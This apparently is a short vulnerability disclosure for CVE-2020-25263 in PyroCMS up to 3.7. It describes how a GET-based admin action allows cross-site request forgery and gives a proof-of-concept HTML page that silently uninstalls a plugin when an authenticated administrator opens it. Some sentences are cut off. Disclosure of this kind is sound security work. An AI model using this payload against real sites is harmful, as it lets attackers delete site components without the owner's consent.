

farid007 / CSRF in PyroCMS

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<> Code Revisions 2

CSRF in PyroCMS which leads to deletion of plugins (CVE-2020-25263)

CSRF in PyroCMS

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1 Product:: PyroCMS
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3 CVE: CVE-2020-25263
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5 Version: (,3.7) 3.7 Tested
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7 Vulnerability:: Deletion of plugin via Cross-Site Request Forgery(CSRF).
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9 Download:: https://github.com/pyrocms/pyrocms
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11 Vulnerability Description:: The PyroCMS is vulnerable to cross-site request forgery (CSRF). Due to action is performed via GET request. An
12
13 Steps To Reproduce::
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15 Create a page with below content.
16
17 <!DOCTYPE>
18 <html>
19 <head>
20
21     <title></title>
22     <script type="text/javascript">
23         // to delete any plugin
24         var url = "http://test.com/admin/addons/uninstall/anomaly.module.blocks"
25         xhr = new XMLHttpRequest();
26         xhr.open("GET",url);
27         xhr.withCredentials = true;
28         xhr.send(null);
29     </script>
30 </head>
31 <body>
32     <!--html content here --!>
33 </body>
34 </html>
35
36 * Send to the victim (who is authenticated in PyroCMS as administrator) and once the victim clicks on the page, the arbitrary plugin will b
37
```